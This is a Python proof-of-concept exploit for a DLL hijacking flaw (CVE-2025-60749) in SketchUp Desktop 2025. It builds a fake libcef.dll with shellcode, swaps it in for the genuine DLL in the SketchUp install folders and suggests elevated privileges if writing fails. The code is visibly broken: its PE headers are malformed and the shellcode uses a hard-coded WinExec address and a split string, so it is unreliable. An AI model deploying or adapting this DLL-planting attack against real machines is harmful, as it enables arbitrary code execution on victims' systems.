# CVE-2025-60749 DLL Hijacking PoC for Trimble SketchUp Desktop 2025
# Author: Security Researcher
# Target: sketchup_webhelper.exe loading malicious libcef.dll
import os
import struct
import ctypes
from ctypes import wintypes
# DLL payload structure for Windows x64
def create_malicious_dll():
dll_code = b''
# DOS Header
dos_header = bytearray(64)
dos_header[0:2] = b'MZ' # e_magic
dos_header[60:64] = struct.pack('<I', 64) # e_lfanew
dll_code += bytes(dos_header)
# Rich Header placeholder
dll_code += b'\x00' * 200
# PE Signature
dll_code += b'PE\x00\x00'
# COFF Header (Machine: x64, NumberOfSections: 3)
coff_header = struct.pack('<HHIIIHH',
0x8664, # Machine: IMAGE_FILE_MACHINE_AMD64
3, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
224, # SizeOfOptionalHeader
0x2022 # Characteristics
)
dll_code += coff_header
# Optional Header (DLL characteristics)
optional_header = struct.pack('<HHBBII',
0x020b, # Magic: PE32+
14, # MajorLinkerVersion
0, # MinorLinkerVersion
0, # SizeOfCode
0, # SizeOfInitializedData
0 # SizeOfUninitializedData
)
dll_code += optional_header
# Data Directories
dll_code += b'\x00' * 16 * 16
# Section Headers
# .text section
text_section = bytearray(40)
text_section[0:8] = b'.text\x00\x00\x00'
text_section[8:12] = struct.pack('<I', 0x1000) # VirtualSize
text_section[12:16] = struct.pack('<I', 0x1000) # VirtualAddress
text_section[16:20] = struct.pack('<I', 0x1000) # SizeOfRawData
text_section[20:24] = struct.pack('<I', 0x400) # PointerToRawData
text_section[24:28] = struct.pack('<I', 0) # PointerToRelocations
text_section[28:32] = struct.pack('<I', 0) # PointerToLinenumbers
text_section[32:36] = struct.pack('<H', 0) # NumberOfRelocations
text_section[36:38] = struct.pack('<H', 0) # NumberOfLinenumbers
text_section[38:40] = struct.pack('<I', 0x60000020) # Characteristics
dll_code += bytes(text_section)
# .data section
data_section = bytearray(40)
data_section[0:8] = b'.data\x00\x00\x00'
data_section[8:12] = struct.pack('<I', 0x1000)
data_section[12:16] = struct.pack('<I', 0x2000)
data_section[16:20] = struct.pack('<I', 0x1000)
data_section[20:24] = struct.pack('<I', 0x1400)
data_section[38:40] = struct.pack('<I', 0xC0000040)
dll_code += bytes(data_section)
# .reloc section
reloc_section = bytearray(40)
reloc_section[0:8] = b'.reloc\x00\x00'
reloc_section[8:12] = struct.pack('<I', 0x1000)
reloc_section[12:16] = struct.pack('<I', 0x3000)
reloc_section[16:20] = struct.pack('<I', 0x1000)
reloc_section[20:24] = struct.pack('<I', 0x2400)
reloc_section[38:40] = struct.pack('<I', 0x42000040)
dll_code += bytes(reloc_section)
# Padding to section data
dll_code += b'\x00' * (0x400 - len(dll_code) % 0x400 + 0x400)
# Shellcode: Execute calc.exe as demonstration
shellcode = bytearray([
0x48, 0x83, 0xEC, 0x28, # sub rsp, 28h
0x48, 0x31, 0xC0, # xor rax, rax
0x48, 0x31, 0xD2, # xor rdx, rdx
0x48, 0xBB, 0x63, 0x61, 0x6C, 0x63, # mov rbx, "calc"
0x2E, 0x65, 0x78, 0x65, # ".exe\0"
0x53, # push rbx
0x48, 0x89, 0xD8, # mov rax, rbx
0x50, # push rax
0x48, 0x89, 0xC3, # mov rbx, rax
0x52, # push rdx
0x48, 0x89, 0xE2, # mov rdx, rsp
0x48, 0x89, 0xD1, # mov rcx, rdx
0x49, 0x89, 0xD8, # mov r8, rdx
0xB8, 0x60, 0x01, 0x00, 0x00, # mov eax, 160h (WinExec)
0xFF, 0xD0, # call rax
0x48, 0x83, 0xC4, 0x28, # add rsp, 28h
0xC3 # ret
])
dll_code += bytes(shellcode)
dll_code += b'\x00' * (0x1000 - len(shellcode))
dll_code += b'\x00' * 0x1000 # .data section
dll_code += b'\x00' * 0x1000 # .reloc section
return dll_code
def exploit():
"""
Exploitation steps for CVE-2025-60749:
1. Identify SketchUp installation directory
2. Create malicious libcef.dll
3. Place DLL in sketchup_webhelper.exe directory
4. Trigger sketchup_webhelper.exe execution
"""
sketchup_paths = [
r"C:\Program Files\SketchUp\SketchUp 2025",
r"C:\Program Files (x86)\SketchUp\SketchUp 2025",
os.path.expanduser(r"~\AppData\Local\SketchUp\SketchUp 2025")
]
malicious_dll = create_malicious_dll()
for path in sketchup_paths:
target_dll = os.path.join(path, "libcef.dll")
webhelper = os.path.join(path, "sketchup_webhelper.exe")
if os.path.exists(webhelper):
try:
# Backup original DLL if exists
if os.path.exists(target_dll):
backup_dll = target_dll + ".bak"
if not os.path.exists(backup_dll):
os.rename(target_dll, backup_dll)
# Write malicious DLL
with open(target_dll, 'wb') as f:
f.write(malicious_dll)
print(f"[+] Malicious DLL planted: {target_dll}")
print(f"[*] Trigger sketchup_webhelper.exe to execute payload")
except PermissionError:
print(f"[!] Insufficient privileges to write to {path}")
print(f"[*] Try running with elevated privileges")
if __name__ == "__main__":
print("CVE-2025-60749 DLL Hijacking PoC")
print("Target: Trimble SketchUp Desktop 2025")
print("Component: sketchup_webhelper.exe")
print("-" * 50)
exploit()